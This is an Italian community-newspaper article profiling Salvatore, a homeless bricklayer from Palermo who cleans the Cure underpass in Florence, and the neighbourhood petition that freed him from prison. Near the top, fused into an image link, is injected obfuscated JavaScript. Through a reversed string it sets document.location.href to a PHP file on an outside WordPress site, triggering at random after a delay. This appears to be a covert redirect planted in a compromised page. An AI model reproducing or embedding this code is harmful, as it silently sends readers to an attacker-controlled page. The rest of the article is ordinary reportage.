Salvatore e la casa di tutti

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://altracitta.org/wp-content/uploads/2004/07/salvatore.jpg”>Lucia Castellucci per l’Altracittà

Salvatore è siciliano, di Palermo, ha 52 anni compiuti. Arriva a Firenze nel 1967, dopo essere stato per lavoro in altre città d’Italia, tra cui ricorda Milano, dove trascorre molti anni (spalavo la neve, £. 800 l’ora). Salvatore è “cintura nera di cazzuola”, muratore specializzato (mi ha imparato muratore mio fratello), fabbro, ma anche per qualche mese “insalatiere” in un ristorante, facchino per le “carovane” (i treni merci): “per avere esperienza”. A Firenze viene a fare il muratore a Campi Bisenzio, chiamato da un altro muratore palermitano, Gigi, che parlava “italiano e palermitano” ma “si inventava le parole per parlare straniero”. “Io ho avuto fortuna di imparare un mestiere”, “a me piace insegnare il mestiere”, come suo fratello ha fatto con lui, che a 14 anni già tirava su i muri a Palermo. Un mestiere che adesso Salvatore esercita nella manutenzione del sottopassaggio delle Cure, pulendo le fosse biologiche, trattando il pavimento, aggiustando tutto quello che si rompe.

Salvatore è muratore, conosce il suo lavoro e cosa c’è dietro, lo sfruttamento, la ricerca del profitto a tutti i costi: “l’edilizia va nazionalizzata”; per lui “il valore non sono i soldi ma la sicurezza delle persone, la felicità, il rispetto”. È arrivato nel sottopassaggio delle Cure 8 anni fa, “io potrei lavorare in qualsiasi cantiere, ma qui c’è troppo da fare”. Salvatore pulisce il sottopassaggio perché considera l’igiene una cosa importantissima. E spende quasi tutti i suoi soldi comprando detersivi, dà l’alcol agli angoli per disinfettare, quando piove butta la segatura sul pavimento, toglie sporco da terra. Da 12 anni dorme sul “pietraflex”, ha due sacchi a pelo per fare il ricambio. Il sottopassaggio “è la casa di tutti, è la casa di chi si comporta bene”, allora è uno spazio che deve essere pulito, deve essere rispettato, “tutti devono comportarsi bene e non essere indifferenti”. I ciclisti devono stare attenti ai pedoni, e lui fa rallentare chi passa veloce, impedendo scontri alla curva dal lato del mercato; da quando c’è lui la sera tutti possono tornare a casa passando di lì, non ci sono più siringhe sulle scale; i passanti, come chi resta a dormire là, devono rispettare “la casa di tutti”. Prima di partire per Palermo per la morte di suo fratello, ha lasciato un biglietto, dove spiegava che per lutto familiare si sarebbe assentato per una settimana.

“Non ho mai chiesto soldi al Comune, il Comune ha altri problemi da risolvere, ma io non sono un intruso”. Salvatore suona l’armonica, “l’armonica è umana, piccola, ma le cose piccole sono quelle importanti, si parte dal piccolo per capire cos’è il grande”. “Totò Dinamite” tiene un quaderno, dal titolo “Io, noi”, dove raccoglie firme, disegni, dediche, numeri di telefono delle persone che conosce nel sottopassaggio. All’inizio il rapporto con il quartiere è stato difficile, ma adesso va bene, “questo quartiere ha bisogno di amicizia come tutti gli altri quartieri del mondo, da lì nasce l’unione nella socialità, nel rispetto”.

La ricompensa alla sua fatica è il sorriso della gente, dei bambini, perché tutto è pulito e ci sono i fiori e la musica. Da qualche tempo gli fanno compagnia Angelo e Monica – “Monica canta benissimo, disegna benissimo” – che con Giuseppe e Nikita (il cane) hanno raccolto le firme avviando la mobilitazione per farlo uscire dal carcere. Dice Angelo: “Salvatore è siciliano, sa cos’è la mafia, e qui non la vuole, dà spazio a tutti, questo posto è casa nostra”.

Al tavolino allestito nel sottopassaggio hanno raccolto 2000 firme in 6 giorni, hanno appeso cartelli, si sono presentati avvocati, giornalisti; tutti si fermavano chiedendo di Salvatore, preoccupati, portavano da mangiare ai ragazzi. Dice Angelo: “un gesto di solidarietà forte, noi abbiamo dato il via ma il quartiere ha risposto con forza, tutti amano Salvatore”.

Salvatore era assente all’udienza del processo per oltraggio a pubblico ufficiale: anni fa mangiava un panino in Santissima Annunziata, la polizia chiedeva i documenti; lui temporeggia, si tira indietro, “ma è stato un equivoco, io non ho picchiato nessuno, scrivilo, io non ce l’ho con i poliziotti, i poliziotti fanno un lavoro duro”. All’udienza non partecipa per la morte della madre; la notifica della condanna a tre mesi, dopo anni, è stata consegnata solo qualche settimana fa, durante un normale controllo, così Salvatore è stato portato a Sollicciano. L’avvocato che segue gratuitamente il suo caso ha ottenuto la scarcerazione dopo una settimana.

Adesso è ospite da un amico, ha l’obbligo di domicilio dalle 19 di sera alle 9 di mattina, si lamenta perché non può pulire la notte, il sottopassaggio resta incustodito, “abbiamo trovato delle siringhe, erano anni che non se ne trovavano più, le persone passano da sopra per tornare a casa”. Aspettando che torni a casa anche la notte, gli abitanti del quartiere ancora si fermano: “sei tornato” ; non c’è stata indifferenza, ma la conferma della sua verità: “Io, Noi”.

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